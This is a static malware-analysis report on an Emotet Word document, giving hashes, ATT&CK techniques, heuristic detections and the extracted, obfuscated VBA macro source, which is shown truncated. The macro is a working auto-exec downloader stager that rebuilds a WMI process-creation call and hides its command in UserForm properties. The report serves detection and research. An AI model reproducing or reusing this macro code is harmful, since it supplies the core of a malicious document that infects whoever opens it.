Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 02a0036584f92473…

MALICIOUS

Office (OLE)

173.1 KB Created: 2020-07-29 06:25:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 2baa861b3b45a5bbe413dc5f3808fab5 SHA-1: a34b5297b94d0fa11294de2729cddb482259c76a SHA-256: 02a0036584f9247382a40bb33a7c54452b91a761368d48587bc74e22d355030e
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The sample contains VBA macros, specifically a Document_Open macro that utilizes CreateObject to execute a command stager hidden within a UserForm. This behavior is characteristic of Emotet, which often downloads and executes additional payloads. The ClamAV detection also confirms the Emotet family and its downloader functionality.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9374294-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9374294-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5044 bytes
SHA-256: b4c31ff3f9de0abf7c775261e6dca68bc13b70074b035d15dea51cc47fd6f72c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "KLJJFfgteeukbbum"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
QRMTIyqnebwyuznx.FTINXhyuactmkulbqmw
End Sub


Attribute VB_Name = "QRMTIyqnebwyuznx"
Attribute VB_Base = "0{832FA014-6CD9-4F8F-A2C0-B123964D44AE}{5FA16708-C095-44D7-8757-52132D11B031}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function FTINXhyuactmkulbqmw()
Dim RGEuulBI As String
RGEuulBI = Replace$("UvTejcif1ÅL", "UvTejc", "yBDJZhNWEb")
Dim CSKo As Integer
CSKo = 7
Do While CSKo < 7 + 9
CSKo = CSKo + 1: DoEvents
Loop
Dim Yto7ÇKQRXoy As Integer
Yto7ÇKQRXoy = 3
Do While Yto7ÇKQRXoy < 3 + 6
Yto7ÇKQRXoy = Yto7ÇKQRXoy + 7: DoEvents
Loop
AEZGReunnowuwmqyo = Chr(QRMTIyqnebwyuznx.Zoom + ((40 + 40 + 40) / 8))
Dim awg3ÎQMPteq As Integer
awg3ÎQMPteq = 8
Do While awg3ÎQMPteq < 8 + 3
awg3ÎQMPteq = awg3ÎQMPteq + 9: DoEvents
Loop
TJOUAehvxirpasribi = "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjai99939nu7*9((()0hsbuguIGv22bjanm99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjagm99939nu7*9((()0hsbuguIGv22bjat99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja" + AEZGReunnowuwmqyo + "99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja:99939nu7*9((()0hsbuguIGv22bjaw99939nu7*9((()0hsbuguIGv22bjain99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bja399939nu7*9((()0hsbuguIGv22bja299939nu7*9((()0hsbuguIGv22bja_99939nu7*9((()0hsbuguIGv22bja" + QRMTIyqnebwyuznx.GLPHJmsxxhval + "99939nu7*9((()0hsbuguIGv22bjaro99939nu7*9((()0hsbuguIGv22bja99939nu7*9((()0hsbuguIGv22bjace99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bjas99939nu7*9((()0hsbuguIGv22bja"
wbNZsnpFoA = 8
Do While wbNZsnpFoA < 8 + 2
wbNZsnpFoA = wbNZsnpFoA + 3: DoEvents
Loop
KLUJRifhhdbuw = QSXQIymawvikb(TJOUAehvxirpasribi)
Dim gcfKyIb4ÜjC As Integer
gcfKyIb4ÜjC = 5
Do While gcfKyIb4ÜjC < 5 + 5
gcfKyIb4ÜjC = gcfKyIb4ÜjC + 7: DoEvents
Loop
Set YYQFKaxvvdlpil = CreateObject(KLUJRifhhdbuw)
Dim lVK As String
lVK = Replace$("O7qGEsVF", "O7qG", "HfNmk2Ïy")
HNGAPfjjcrah = QRMTIyqnebwyuznx.FWQHBaekrnanuknnlmo.ControlTipText
iiv = 7
Do While iiv < 7 + 4
iiv = iiv + 5: DoEvents
Loop
WAQHVsrrmgxawawmlrb = IJK + (KLUJRifhhdbuw + AEZGReunnowuwmqyo + QRMTIyqnebwyuznx.BDCTWmhpfwtvxmhqcgx.ControlTipText) + HNGAPfjjcrah
Dim QH4Ý As String
QH4Ý = Replace$("tBTpXheeAy", "tBTpXhe", "RRWXeuD")
RIQFYpcakehtsx = WAQHVsrrmgxawawmlrb + QRMTIyqnebwyuznx.GLPHJmsxxhval
Dim SqQW3Òwd As String
SqQW3Òwd = Replace$("chaNol6ÆmYk1ÓFMeC", "chaNo", "PJy4È")
Set FQDKYrrymjkbncq = PPJISbcrbqqbpnrimkj(RIQFYpcakehtsx)
Dim hipGOtD As Integer
hipGOtD = 9
Do While hipGOtD < 9 + 7
hipGOtD = hipGOtD + 9: DoEvents
Loop
cde = Array("ewwdas", YYQFKaxvvdlpil. _
Create(NMKZOmiynjco, IJVHQhxnfnwoabmjgd, FQDKYrrymjkbncq), "sd")
Dim F3ÊHYfL As String
F3ÊHYfL = Replace$("e8ÝIhfUTun0ËW", "e8ÝIhfUTu", "Ce2ÖRb")
End Function
Function PPJISbcrbqqbpnrimkj(GDNSLahfnqsdlk)
Set PPJISbcrbqqbpnrimkj = CreateObject(GDNSLahfnqsdlk)
Dim nqVHT6ÒGOtD As String
nqVHT6ÒGOtD = Replace$("wqd7É7àZD7×wqRgQ5ÕJ", "wqd7É7àZD7×wq", "MZuEIlX")
PPJISbcrbqqbpnrimkj.showwindow = (BHZKAldlhwsefyqotc + YFLYNqbuugrri) + (SANJYvwmvqrmiq + KMTGDfrqimuyqifp)
Dim KKQRX7Õ As Integer
KKQRX7Õ = 9
Do While KKQRX7Õ < 9 + 3
KKQRX7Õ = KKQRX7Õ + 6: DoEvents
Loop
End Function
Function QSXQIymawvikb(ZMCATizdamqatyjdsw)
PGGIQbyosfcgjkbd = ZMCATizdamqatyjdsw
Dim A1ålOTAY1Î As String
A1ålOTAY1Î = Replace$("eFEttRlffLUCaI", "eFEttRlf", "pLU4ÎJBQ")
SIOTLbrwsuwdkxmpeal = Split _
(PGGIQbyosfcgjkbd, "99939nu7*9((()0hsbuguIGv22bja")
gDkuq = 4
Do While gDkuq < 4 + 4
gDkuq = gDkuq + 8: DoEvents
Loop
IAKRPfbibztcxtzvx = fder + Join(SIOTLbrwsuwdkxmpeal, bzder)
... (truncated)